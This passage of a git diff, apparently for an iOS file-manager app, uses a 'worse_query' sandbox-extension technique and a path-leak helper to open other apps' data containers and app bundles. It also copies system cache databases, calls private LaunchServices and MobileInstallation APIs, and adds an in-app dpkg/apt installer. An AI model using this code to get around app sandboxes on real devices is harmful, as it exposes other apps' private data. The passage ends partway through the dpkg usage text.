WQSafeLinkName(identifier ?: child.lastPathComponent); + WQCreateLink([folder stringByAppendingPathComponent:linkName], child); + } + NSLog(@"[WQ] per-container family %@ children=%lu granted=%lu folder=%@", + root, (unsigned long)children.count, (unsigned long)granted, folder); + } +} + +static NSArray *> *WQBuildAppList(void) +{ + NSString *root = @"/private/var/mobile/Containers/Data/Application"; + // The data-container root itself is often rejected by containermanagerd + // even though each child container is accepted. Always enumerate children + // and request their extensions individually. + WQGrantRoot(root, @"App Data"); + WQPostStartupProgress(0.26, @"正在扫描应用数据容器…"); + NSArray *containers = WQEnumerateContainers(root); + WQPostStartupProgress(0.40, [NSString stringWithFormat: + @"发现 %lu 个数据容器,正在逐个授权…", (unsigned long)containers.count]); + NSUInteger granted = 0; + for (NSString *container in containers) { + if (WQGrantContainer(container)) granted++; + } + WQPostStartupProgress(0.48, @"正在从数据目录识别应用…"); + NSArray *apps = WQAppInfoFromContainers(containers); + WQInstallAppLinks(apps); + NSLog(@"[WQ] app discovery containers=%lu granted=%lu apps=%lu", + (unsigned long)containers.count, (unsigned long)granted, + (unsigned long)apps.count); + return apps; +} + +NSArray *> *WQInstalledApplications(void) +{ + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + __block NSArray *value = nil; + dispatch_sync(gAppsQueue, ^{ + NSTimeInterval age = gAppsCacheDate + ? -[gAppsCacheDate timeIntervalSinceNow] : 1e9; + if (!gAppsCache || age > 120) { + gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + } + value = gAppsCache; + }); + return value ?: @[]; +} + +NSString *WQDataPathForIdentifier(NSString *bundleID) +{ + if (!bundleID.length) return nil; + WQInstalledApplications(); + return gDataMap[bundleID]; +} + +#pragma mark - Bundle map + +static void WQBuildBundleMapIfNeeded(void) +{ + if (!gBundleMapLock) gBundleMapLock = [NSObject new]; + @synchronized (gBundleMapLock) { + if (gBundleMapAttempted) return; + gBundleMapAttempted = YES; + gBundleMap = [NSMutableDictionary dictionary]; + gBundleInfo = [NSMutableDictionary dictionary]; + + NSString *root = @"/private/var/containers/Bundle/Application"; + NSString *prefix = [root stringByAppendingString:@"/"]; + NSArray *volumePaths = WQVolumePaths(); + BOOL bundleInVolume = NO; + for (NSString *path in volumePaths) { + if ([path hasPrefix:prefix]) { bundleInVolume = YES; break; } + } + if (!bundleInVolume && WQPathExists(root)) { + // The bundle container root can live on a different APFS volume from + // the data containers, so the shared scan above may not include it. + NSLog(@"[WQ] bundle root not in shared volume scan; scanning separately"); + volumePaths = pathleak_roots(@[root], 1, 5000000); + NSLog(@"[WQ] bundle-only scan paths=%lu", (unsigned long)volumePaths.count); + } + NSUInteger appBundles = 0; + NSUInteger candidates = 0; + NSUInteger debugCount = 0; + NSUInteger prefixed = 0; + NSUInteger appSuffix = 0; + NSMutableArray *prefixedSamples = [NSMutableArray array]; + + for (NSString *path in volumePaths) { + if (![path hasPrefix:prefix]) continue; + prefixed++; + if ([path hasSuffix:@".app"]) appSuffix++; + if (prefixedSamples.count < 5 && [path hasSuffix:@".app"]) + [prefixedSamples addObject:path]; + NSString *remainder = [path substringFromIndex:prefix.length]; + NSArray *components = [remainder componentsSeparatedByString:@"/"]; + if (components.count != 2) continue; + if (![path hasSuffix:@".app"]) continue; + candidates++; + + // Grant the bundle itself. Bundle containers are not in the published + // worse_query surface, but the same per-container query works on this + // iOS build and lets us read Info.plist for names and icons. + BOOL granted = WQGrantContainer(path); + BOOL parentGranted = NO; + if (!granted) { + NSString *uuidPath = [root stringByAppendingPathComponent:components[0]]; + parentGranted = WQGrantContainer(uuidPath); + } + NSError *readError = nil; + NSDictionary *plist = [NSDictionary dictionaryWithContentsOfFile: + [path stringByAppendingPathComponent:@"Info.plist"]]; + if (debugCount < 3) { + debugCount++; + NSLog(@"[WQ][bundle-debug] path=%@ grant=%d parentGrant=%d plist=%lu", + path, granted, parentGranted, (unsigned long)plist.count); + } + NSString *bundleID = plist[@"CFBundleIdentifier"]; + if (![bundleID isKindOfClass:NSString.class] || !bundleID.length) { + // The directory name is still useful for later LaunchServices + // lookups even when Info.plist is protected. + NSString *appName = [components[1] stringByDeletingPathExtension]; + if (appName.length) gBundleMap[appName] = path; + continue; + } + gBundleMap[bundleID] = path; + NSString *name = plist[@"CFBundleDisplayName"]; + if (!name.length) name = plist[@"CFBundleName"]; + NSString *version = plist[@"CFBundleShortVersionString"]; + if (!version.length) version = plist[@"CFBundleVersion"]; + gBundleInfo[bundleID] = @{ + @"path": path, + @"name": name.length ? name : bundleID, + @"version": version.length ? version : @"1.0", + }; + appBundles++; + } + NSLog(@"[WQ] bundle map prefixed=%lu appSuffix=%lu candidates=%lu apps=%lu samples=%@", + (unsigned long)prefixed, (unsigned long)appSuffix, + (unsigned long)candidates, (unsigned long)appBundles, prefixedSamples); + + // Expose the bundle family in the hub only if at least one app bundle was + // granted, so the user can open an app's .app directory too. + if (appBundles > 0) { + NSString *folder = [WQVirtualRootFolder() + stringByAppendingPathComponent:@"App Bundles"]; + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + NSUInteger linked = 0; + for (NSString *bundleID in gBundleMap) { + NSDictionary *info = gBundleInfo[bundleID]; + NSString *path = info[@"path"] ?: gBundleMap[bundleID]; + if (!path.length) continue; + NSString *linkName = WQSafeLinkName(info[@"name"] + ? [NSString stringWithFormat:@"%@ [%@]", info[@"name"], bundleID] + : bundleID); + if (WQCreateLink([folder stringByAppendingPathComponent:linkName], path)) + linked++; + } + NSLog(@"[WQ] app bundle links=%lu folder=%@", (unsigned long)linked, folder); + } + } +} + +NSString *WQBundlePathForIdentifier(NSString *bundleID) +{ + if (!bundleID.length) return nil; + if (getenv("WQ_BUNDLE_SCAN")) WQBuildBundleMapIfNeeded(); + NSString *mapped = gBundleMap[bundleID]; + if (mapped.length) return mapped; + NSDictionary *info = gBundleInfo[bundleID]; + if ([info[@"path"] isKindOfClass:NSString.class]) return info[@"path"]; + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID) + : nil; + NSURL *bundleURL = [proxy respondsToSelector:@selector(bundleURL)] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, @selector(bundleURL)) : nil; + if ([bundleURL isKindOfClass:NSURL.class] && bundleURL.path.length) + return bundleURL.path; + return nil; +} + +#pragma mark - Name diagnostics + +static void WQDiagnoseAppNames(void) +{ + static BOOL ran; + if (ran) return; + ran = YES; + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + unsigned int count = 0; + Method *methods = class_copyMethodList(proxyClass, &count); + NSMutableArray *interesting = [NSMutableArray array]; + NSMutableArray *workspaceInteresting = [NSMutableArray array]; + for (unsigned int index = 0; index < count; index++) { + NSString *name = NSStringFromSelector(method_getName(methods[index])); + NSString *lower = name.lowercaseString; + if ([lower containsString:@"name"] || [lower containsString:@"display"] || + [lower containsString:@"title"] || [lower containsString:@"bundleurl"] || + [lower containsString:@"container"]) { + if (method_getNumberOfArguments(methods[index]) == 2) + [interesting addObject:name]; + } + } + free(methods); + NSLog(@"[WQ][names] LSApplicationProxy zero-arg methods=%@", interesting); + + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), @"com.rosiepie.flora") + : nil; + for (NSString *selectorName in interesting) { + SEL selector = NSSelectorFromString(selectorName); + if (![proxy respondsToSelector:selector]) continue; + @try { + id value = ((id(*)(id, SEL))objc_msgSend)(proxy, selector); + NSLog(@"[WQ][names] proxy %@ => %@ (%@)", selectorName, + [value isKindOfClass:NSString.class] || + [value isKindOfClass:NSURL.class] || + [value isKindOfClass:NSNumber.class] ? value : NSStringFromClass([value class]), + NSStringFromClass([value class])); + } @catch (NSException *exception) { + NSLog(@"[WQ][names] proxy %@ threw %@", selectorName, exception.reason); + } + } + + Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); + methods = class_copyMethodList(workspaceClass, &count); + for (unsigned int index = 0; index < count; index++) { + NSString *name = NSStringFromSelector(method_getName(methods[index])); + NSString *lower = name.lowercaseString; + if (([lower containsString:@"application"] || [lower containsString:@"installed"]) && + method_getNumberOfArguments(methods[index]) == 2) + [workspaceInteresting addObject:name]; + } + free(methods); + NSLog(@"[WQ][names] LSApplicationWorkspace zero-arg methods=%@", workspaceInteresting); + + void *handle = dlopen("/System/Library/PrivateFrameworks/MobileInstallation.framework/MobileInstallation", RTLD_LAZY); + if (handle) { + typedef int (*LookupFn)(CFDictionaryRef, CFDictionaryRef *); + LookupFn lookup = (LookupFn)dlsym(handle, "MobileInstallationLookup"); + if (lookup) { + CFDictionaryRef info = NULL; + int result = lookup(NULL, &info); + NSDictionary *dictionary = info ? (__bridge NSDictionary *)info : nil; + NSLog(@"[WQ][names] MobileInstallationLookup result=%d apps=%lu sample=%@", + result, (unsigned long)dictionary.count, + dictionary.count ? [dictionary.allKeys.firstObject description] : @"none"); + if (info) CFRelease(info); + } else { + NSLog(@"[WQ][names] MobileInstallationLookup symbol missing"); + } + dlclose(handle); + } else { + NSLog(@"[WQ][names] MobileInstallation dlopen failed"); + } + + NSString *systemRoot = @"/private/var/containers/Data/System"; + NSArray *systemEntries = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:systemRoot error:nil]; + NSLog(@"[WQ][names] SystemData entries=%@", systemEntries); + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *uuid in systemEntries ?: @[]) { + NSString *container = [systemRoot stringByAppendingPathComponent:uuid]; + NSString *caches = [container stringByAppendingPathComponent:@"Library/Caches"]; + NSArray *cacheEntries = [fm contentsOfDirectoryAtPath:caches error:nil]; + if (cacheEntries.count == 0) continue; + NSLog(@"[WQ][names] system container=%@ caches=%@", uuid, cacheEntries); + for (NSString *name in cacheEntries) { + if (![name hasSuffix:@".csstore"] && ![name hasSuffix:@".db"] && + ![name hasSuffix:@".plist"] && ![name hasSuffix:@".sqlite"]) continue; + NSString *source = [caches stringByAppendingPathComponent:name]; + NSDictionary *attributes = [fm attributesOfItemAtPath:source error:nil]; + if ([attributes[NSFileSize] unsignedLongLongValue] > 64 * 1024 * 1024) + continue; + NSString *destination = [MCMFilzaVirtualRoot() + stringByAppendingPathComponent: + [@"store-" stringByAppendingString:name]]; + BOOL copied = [fm copyItemAtPath:source toPath:destination error:nil]; + NSLog(@"[WQ][names] store file %@ size=%llu copied=%d -> %@", name, + [attributes[NSFileSize] unsignedLongLongValue], copied, destination); + } + } +} + +#pragma mark - Startup progress + +static void WQPostStartupProgress(double progress, NSString *status) +{ + if (!gStartupActive) return; + NSDictionary *info = @{ @"progress": @(progress), @"status": status ?: @"" }; + dispatch_async(dispatch_get_main_queue(), ^{ + [[NSNotificationCenter defaultCenter] + postNotificationName:@"WQStartupProgress" object:nil userInfo:info]; + }); +} + +static void WQPostStartupFinished(void) +{ + gStartupActive = NO; + dispatch_async(dispatch_get_main_queue(), ^{ + [[NSNotificationCenter defaultCenter] + postNotificationName:@"WQStartupFinished" object:nil]; + }); +} + +#pragma mark - Public entry + +void WQFilzaStart(void) +{ + if (gStarted) return; + gStarted = YES; + gStartupActive = YES; + gQueryLock = [NSLock new]; + gAppsLock = [NSLock new]; + gStartupGroup = dispatch_group_create(); + + WQPostStartupProgress(0.02, @"正在准备 worse_query…"); + + NSString *group = WQBestAppGroup(); + if (!group.length) { + NSLog(@"[WQ] disabled: no provisioned App Group. Normal signing needs " + @"a profile with com.apple.security.application-groups."); + WQPostStartupProgress(0.05, @"未找到 App Group,请检查签名配置"); + WQPostStartupFinished(); + return; + } + + NSLog(@"[WQ] starting with group=%@ os=%@", group, + NSProcessInfo.processInfo.operatingSystemVersionString); + WQPostStartupProgress(0.06, @"已找到 App Group,正在申请沙盒扩展…"); + + NSUInteger granted = 0; + for (NSDictionary *root in WQCandidateRoots()) { + if (WQGrantRoot(root[@"path"], root[@"name"])) granted++; + } + NSLog(@"[WQ] roots granted=%lu/%lu active=%d", (unsigned long)granted, + (unsigned long)WQCandidateRoots().count, WQIsActive()); + WQPostStartupProgress(0.18, [NSString stringWithFormat: + @"根目录扩展 %lu/%lu,正在加载应用数据…", + (unsigned long)granted, (unsigned long)WQCandidateRoots().count]); + + WQInstallVirtualRoot(); + WQScheduleFavorites(); + + // Build the app-container index before the user opens Apps manager. + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + if (!gFamiliesQueue) gFamiliesQueue = dispatch_queue_create( + "com.filzaslop.worsequery.families", DISPATCH_QUEUE_SERIAL); + + // App containers are the priority: the Apps manager must populate before + // the slower system-group sweep begins. + dispatch_group_enter(gStartupGroup); + dispatch_async(gAppsQueue, ^{ + WQPostStartupProgress(0.24, @"正在枚举应用数据容器…"); + if (!gAppsCache) gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + if (getenv("WQ_BUNDLE_SCAN")) WQBuildBundleMapIfNeeded(); + NSLog(@"[WQ] app prewarm complete apps=%lu", + (unsigned long)(gAppsCache ?: @[]).count); + WQDiagnoseAppNames(); + WQPostStartupProgress(0.55, [NSString stringWithFormat: + @"已识别 %lu 个应用,正在加载系统目录…", + (unsigned long)(gAppsCache ?: @[]).count]); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + dispatch_group_leave(gStartupGroup); + }); + + dispatch_group_enter(gStartupGroup); + dispatch_async(gFamiliesQueue, ^{ + WQPostStartupProgress(0.58, @"正在枚举系统组与扩展目录…"); + WQDiscoverPerContainerFamilies(); + NSLog(@"[WQ] family prewarm complete grants=%lu roots=%lu", + (unsigned long)gGrantHandles.count, + (unsigned long)WQAccessibleRoots().count); + WQPostStartupProgress(0.90, @"正在生成收藏夹与访问链接…"); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + dispatch_group_leave(gStartupGroup); + }); + + dispatch_group_notify(gStartupGroup, dispatch_get_main_queue(), ^{ + WQInstallFavorites(); + WQPostStartupProgress(1.0, @"准备完成"); + NSLog(@"[WQ] startup complete apps=%lu grants=%lu roots=%lu", + (unsigned long)WQInstalledApplications().count, + (unsigned long)gGrantHandles.count, + (unsigned long)WQAccessibleRoots().count); + WQPostStartupFinished(); + }); + + if (!WQIsActive()) { + NSLog(@"[WQ] no supported root could be granted; check the App Group " + @"entitlement and the iOS version."); + } +} + +#pragma mark - Proxy stand-in + +@implementation WQApplicationProxy + +- (instancetype)initWithAppInfo:(NSDictionary *)info +{ + self = [super init]; + if (!self) return nil; + NSString *bundleID = info[@"bundleID"]; + _applicationIdentifier = bundleID ?: @""; + _bundleIdentifier = bundleID ?: @""; + _localizedName = info[@"name"] ?: bundleID ?: @""; + _bundleVersion = info[@"version"] ?: @"1.0"; + _shortVersionString = _bundleVersion; + _applicationType = @"User"; + _vendorName = bundleID ?: @""; + NSString *bundlePath = info[@"bundlePath"]; + if (bundlePath.length) _bundleURL = [NSURL fileURLWithPath:bundlePath]; + NSString *dataPath = info[@"dataPath"]; + if (dataPath.length) _dataContainerURL = [NSURL fileURLWithPath:dataPath]; + return self; +} + +- (NSDictionary *)iconsDictionary { return @{}; } +- (id)iconDataForVariant:(id)variant { return nil; } +- (NSNumber *)staticDiskUsage { return @0; } +- (NSNumber *)dynamicDiskUsage { return @0; } +- (BOOL)isDeletable { return YES; } +- (BOOL)isPlaceholder { return NO; } +- (BOOL)isSystem { return NO; } + +@end diff --git a/WQPackages.h b/WQPackages.h new file mode 100644 index 0000000..3e97b0f --- /dev/null +++ b/WQPackages.h @@ -0,0 +1,13 @@ +#import + +/// In-process dpkg/apt. Packages are installed under Documents/.terminal/root +/// because a normally signed app cannot write to /usr. +FOUNDATION_EXPORT int WQDPKGMain(int argc, char * _Nonnull * _Nonnull argv, + FILE * _Nonnull out, FILE * _Nonnull err); +FOUNDATION_EXPORT int WQAptMain(int argc, char * _Nonnull * _Nonnull argv, + FILE * _Nonnull out, FILE * _Nonnull err); +FOUNDATION_EXPORT BOOL WQInstallDebPackage(NSString * _Nonnull path, + NSString * _Nullable * _Nullable message); + +/// Returns the control fields of a .deb as display text (dpkg --info style). +FOUNDATION_EXPORT NSString * _Nullable WQDebInfoText(NSString * _Nonnull path); diff --git a/WQPackages.m b/WQPackages.m new file mode 100644 index 0000000..60acb22 --- /dev/null +++ b/WQPackages.m @@ -0,0 +1,757 @@ +// +// WQPackages.m +// FilzaSlop +// +// In-process dpkg/apt for the normally signed build. Packages are unpacked +// under Documents/.terminal/root; this is a plugin/utility prefix, not the +// system root, because the app is sandboxed. +// + +#import "WQPackages.h" + +#import +#import +#import +#import +#import +#import + +typedef struct archive WQArchive; +typedef struct archive_entry WQArchiveEntry; + +#define WQ_ARCHIVE_OK 0 +#define ARCHIVE_OK 0 +#define WQ_AE_IFMT 0170000 +#define WQ_AE_IFREG 0100000 +#define WQ_AE_IFDIR 0040000 +#define WQ_AE_IFLNK 0120000 + +extern WQArchive *archive_read_new(void); +extern int archive_read_support_filter_all(WQArchive *); +extern int archive_read_support_format_all(WQArchive *); +extern int archive_read_support_format_raw(WQArchive *); +extern int archive_read_open_memory(WQArchive *, const void *, size_t); +extern int archive_read_next_header(WQArchive *, WQArchiveEntry **); +extern const char *archive_entry_pathname(WQArchiveEntry *); +extern const char *archive_entry_symlink(WQArchiveEntry *); +extern mode_t archive_entry_perm(WQArchiveEntry *); +extern mode_t archive_entry_filetype(WQArchiveEntry *); +extern long long archive_entry_size(WQArchiveEntry *); +extern ssize_t archive_read_data(WQArchive *, void *, size_t); +extern int archive_read_data_skip(WQArchive *); +extern int archive_read_free(WQArchive *); +extern const char *archive_error_string(WQArchive *); + +static NSString *WQPackageRoot(void) +{ + NSString *configured = NSProcessInfo.processInfo.environment[@"TERM_ROOT"]; + if (configured.length) return configured; + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@".terminal"]; +} + +static NSString *WQInstallRoot(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"root"]; +} + +static NSString *WQStatusPath(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/dpkg/status"]; +} + +static NSString *WQInfoDirectory(void) +{ + return [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/dpkg/info"]; +} + +static void WQEnsurePackageDirectories(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *directories = @[ + WQPackageRoot(), + WQInstallRoot(), + WQInfoDirectory(), + [WQPackageRoot() stringByAppendingPathComponent:@"var/lib/apt/lists"], + [WQPackageRoot() stringByAppendingPathComponent:@"var/cache/apt/archives"], + [WQPackageRoot() stringByAppendingPathComponent:@"etc/apt"], + [WQPackageRoot() stringByAppendingPathComponent:@"tmp"], + ]; + for (NSString *directory in directories) + [fm createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:nil error:nil]; + NSString *status = WQStatusPath(); + if (![fm fileExistsAtPath:status]) + [@"" writeToFile:status atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +#pragma mark - ar / deb + +static NSData *WQArMember(NSData *archive, NSString *namePrefix) +{ + const uint8_t *bytes = archive.bytes; + NSUInteger length = archive.length; + if (length < 8 || memcmp(bytes, "!\n", 8) != 0) return nil; + NSUInteger offset = 8; + while (offset + 60 <= length) { + const uint8_t *header = bytes + offset; + NSString *name = [[[NSString alloc] initWithBytes:header length:16 + encoding:NSASCIIStringEncoding] stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + name = [name stringByTrimmingCharactersInSet: + [NSCharacterSet characterSetWithCharactersInString:@"/"]]; + NSString *sizeText = [[[NSString alloc] initWithBytes:header + 48 length:10 + encoding:NSASCIIStringEncoding] stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]; + NSUInteger size = (NSUInteger)sizeText.longLongValue; + offset += 60; + if (offset + size > length) break; + if ([name hasPrefix:namePrefix]) + return [archive subdataWithRange:NSMakeRange(offset, size)]; + offset += size + (size & 1); + } + return nil; +} + +static NSString *WQArchivePath(NSString *raw) +{ + NSString *path = raw; + while ([path hasPrefix:@"./"]) path = [path substringFromIndex:2]; + while ([path hasPrefix:@"/"]) path = [path substringFromIndex:1]; + if ([path hasPrefix:@"var/jb/"]) path = [path substringFromIndex:7]; + if (path.length == 0 || [path containsString:@".."]) return nil; + return path; +} + +static BOOL WQExtractArchiveData(NSData *archiveData, NSString *destination, + NSMutableArray *installedFiles) +{ + if (!archiveData.length) return NO; + WQArchive *archive = archive_read_new(); + if (!archive) return NO; + archive_read_support_filter_all(archive); + archive_read_support_format_all(archive); + if (archive_read_open_memory(archive, archiveData.bytes, + archiveData.length) != ARCHIVE_OK) { + archive_read_free(archive); + return NO; + } + + NSFileManager *fm = NSFileManager.defaultManager; + struct archive_entry *entry; + BOOL success = YES; + while (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + const char *rawName = archive_entry_pathname(entry); + if (!rawName) { archive_read_data_skip(archive); continue; } + NSString *relative = WQArchivePath([NSString stringWithUTF8String:rawName]); + if (!relative.length) { archive_read_data_skip(archive); continue; } + NSString *target = [destination stringByAppendingPathComponent:relative]; + mode_t filetype = archive_entry_filetype(entry); + mode_t permissions = archive_entry_perm(entry); + if (filetype == WQ_AE_IFDIR) { + [fm createDirectoryAtPath:target withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @(permissions ?: 0755) } + error:nil]; + continue; + } + [fm createDirectoryAtPath:target.stringByDeletingLastPathComponent + withIntermediateDirectories:YES attributes:nil error:nil]; + if (filetype == WQ_AE_IFLNK) { + const char *link = archive_entry_symlink(entry); + [fm removeItemAtPath:target error:nil]; + if (link && symlink(link, target.fileSystemRepresentation) == 0) + [installedFiles addObject:relative]; + } else if (filetype == WQ_AE_IFREG) { + int descriptor = open(target.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_TRUNC, permissions ?: 0644); + if (descriptor < 0) { success = NO; archive_read_data_skip(archive); continue; } + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) { + ssize_t written = 0; + while (written < got) { + ssize_t step = write(descriptor, buffer + written, + (size_t)(got - written)); + if (step <= 0) break; + written += step; + } + } + close(descriptor); + chmod(target.fileSystemRepresentation, permissions ?: 0644); + [installedFiles addObject:relative]; + } else { + archive_read_data_skip(archive); + } + } + archive_read_free(archive); + return success; +} + +static NSData *WQArchiveEntryNamed(NSData *archiveData, NSString *wanted) +{ + WQArchive *archive = archive_read_new(); + if (!archive) return nil; + archive_read_support_filter_all(archive); + archive_read_support_format_all(archive); + if (archive_read_open_memory(archive, archiveData.bytes, + archiveData.length) != ARCHIVE_OK) { + archive_read_free(archive); + return nil; + } + struct archive_entry *entry; + NSData *result = nil; + while (archive_read_next_header(archive, &entry) == WQ_ARCHIVE_OK) { + const char *name = archive_entry_pathname(entry); + if (name && (strcmp(name, wanted.UTF8String) == 0 || + strcmp(name + (strlen(name) > 2 && name[0] == '.' && + name[1] == '/' ? 2 : 0), wanted.UTF8String) == 0)) { + NSMutableData *data = [NSMutableData data]; + uint8_t buffer[65536]; + ssize_t got; + while ((got = archive_read_data(archive, buffer, sizeof(buffer))) > 0) + [data appendBytes:buffer length:(NSUInteger)got]; + result = data; + break; + } + archive_read_data_skip(archive); + } + archive_read_free(archive); + return result; +} + +static NSDictionary *WQParseControl(NSString *control) +{ + NSMutableDictionary *fields = [NSMutableDictionary dictionary]; + NSString *currentKey = nil; + NSMutableString *currentValue = nil; + for (NSString *line in [control componentsSeparatedByString:@"\n"]) { + if (line.length == 0) continue; + if ([line hasPrefix:@" "] || [line hasPrefix:@"\t"]) { + if (currentKey && currentValue) + [currentValue appendFormat:@"\n%@", [line stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceCharacterSet]]; + continue; + } + NSRange colon = [line rangeOfString:@":"]; + if (colon.location == NSNotFound) continue; + if (currentKey && currentValue) fields[currentKey] = currentValue.copy; + currentKey = [[line substringToIndex:colon.location] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet]; + currentValue = [[[line substringFromIndex:colon.location + 1] + stringByTrimmingCharactersInSet:NSCharacterSet.whitespaceCharacterSet] mutableCopy]; + } + if (currentKey && currentValue) fields[currentKey] = currentValue.copy; + return fields; +} + +NSString *WQDebInfoText(NSString *path) +{ + NSData *archive = [NSData dataWithContentsOfFile:path]; + if (!archive.length) return nil; + NSData *controlArchive = WQArMember(archive, @"control.tar"); + if (!controlArchive.length) return nil; + NSData *controlData = WQArchiveEntryNamed(controlArchive, @"control"); + if (!controlData.length) return nil; + NSString *control = [[NSString alloc] initWithData:controlData + encoding:NSUTF8StringEncoding]; + if (!control.length) return nil; + NSMutableString *text = [NSMutableString stringWithFormat: + @" new Debian package, version 2.0.\n" + @" size %lu bytes: control archive %lu bytes.\n", + (unsigned long)archive.length, (unsigned long)controlArchive.length]; + [text appendString:control]; + if (![text hasSuffix:@"\n"]) [text appendString:@"\n"]; + return text; +} + +static NSString *WQStanzaForKey(NSString *text, NSString *key, NSString *value) +{ + NSArray *stanzas = [text componentsSeparatedByString:@"\n\n"]; + for (NSString *stanza in stanzas) { + BOOL match = NO; + for (NSString *line in [stanza componentsSeparatedByString:@"\n"]) { + if ([line hasPrefix:[key stringByAppendingString:@": "]]) { + match = [[line substringFromIndex:key.length + 2] + isEqualToString:value]; + break; + } + } + if (match) return stanza; + } + return nil; +} + +static NSString *WQFieldFromStanza(NSString *stanza, NSString *key) +{ + for (NSString *line in [stanza componentsSeparatedByString:@"\n"]) + if ([line hasPrefix:[key stringByAppendingString:@": "]]) + return [line substringFromIndex:key.length + 2]; + return nil; +} + +static void WQRemoveStatusStanza(NSString *package) +{ + NSString *text = [NSString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: @""; + NSMutableArray *keep = [NSMutableArray array]; + for (NSString *stanza in [text componentsSeparatedByString:@"\n\n"]) { + if (stanza.length == 0) continue; + NSString *name = WQFieldFromStanza(stanza, @"Package"); + if (![name isEqualToString:package]) [keep addObject:stanza]; + } + [[keep componentsJoinedByString:@"\n\n"] writeToFile:WQStatusPath() + atomically:YES encoding:NSUTF8StringEncoding error:nil]; +} + +static BOOL WQInstallDeb(NSString *path, FILE *out, FILE *err, + NSDictionary *options) +{ + WQEnsurePackageDirectories(); + NSData *archive = [NSData dataWithContentsOfFile:path]; + if (!archive.length) { + fprintf(err, "dpkg: cannot open %s\n", path.UTF8String); + return NO; + } + NSData *controlArchive = WQArMember(archive, @"control.tar"); + NSData *dataArchive = WQArMember(archive, @"data.tar"); + if (!controlArchive || !dataArchive) { + fprintf(err, "dpkg: %s is not a Debian archive\n", path.UTF8String); + return NO; + } + NSData *controlData = WQArchiveEntryNamed(controlArchive, @"control"); + if (!controlData) { + fprintf(err, "dpkg: missing control file in %s\n", path.UTF8String); + return NO; + } + NSString *control = [[NSString alloc] initWithData:controlData + encoding:NSUTF8StringEncoding]; + NSDictionary *fields = WQParseControl(control ?: @""); + NSString *package = fields[@"Package"] ?: @"unknown"; + NSString *version = fields[@"Version"] ?: @"0"; + NSString *architecture = fields[@"Architecture"] ?: @"iphoneos-arm64"; + BOOL force = options[@"force"] != nil; + if (!force && + ![architecture isEqualToString:@"iphoneos-arm64"] && + ![architecture isEqualToString:@"iphoneos-arm"] && + ![architecture isEqualToString:@"darwin-arm64"] && + ![architecture isEqualToString:@"all"]) { + fprintf(err, "dpkg: package architecture %s is not native " + "(use --force-architecture)\n", architecture.UTF8String); + return NO; + } + + fprintf(out, "Selecting previously unselected package %s.\n", + package.UTF8String); + NSMutableArray *installedFiles = [NSMutableArray array]; + if (!WQExtractArchiveData(dataArchive, WQInstallRoot(), installedFiles)) { + fprintf(err, "dpkg: failed to unpack %s\n", path.UTF8String); + return NO; + } + + WQRemoveStatusStanza(package); + NSMutableString *status = [NSMutableString stringWithContentsOfFile:WQStatusPath() + encoding:NSUTF8StringEncoding error:nil] ?: [NSMutableString string]; + if (status.length && ![status hasSuffix:@"\n\n"]) [status appendString:@"\n\n"]; + [status appendFormat: + @"Package: %@\n" + @"Status: install ok installed\n" + @"Priority: %@\n" + @"Section: %@\n" + @"Installed-Size: %@\n" + @"Maintainer: %@\n" + @"Architecture: %@\n" + @"Version: %@\n" + @"Description: %@\n\n", + package, + fields[@"Priority"] ?: @"optional", + fields[@"Section"] ?: @"utility", + fields[@"Installed-Size"] ?: @"0", + fields[@"Maintainer"] ?: @"unknown", + architecture, + version, + fields[@"Description"] ?: package]; + [status writeToFile:WQStatusPath() atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSString *listPath = [WQInfoDirectory() + stringByAppendingPathComponent:[package stringByAppendingString:@".list"]]; + [[installedFiles componentsJoinedByString:@"\n"] writeToFile:listPath + atomically:YES encoding:NSUTF8StringEncoding error:nil]; + fprintf(out, "Unpacking %s (%s) ...\n", package.UTF8String, version.UTF8String); + fprintf(out, "Setting up %s (%s) ...\n", package.UTF8String, version.UTF8String); + fprintf(out, "Installed to %s\n", WQInstallRoot().UTF8String); + return YES; +} + +#pragma mark - dpkg + +static void WQDPKGUsage(FILE *out) +{ + fprintf(out, + "Usage: dpkg \n" + " -i, --install Install a package\n" + " -r, --remove Remove a package\n" + " -P, --purge Remove a 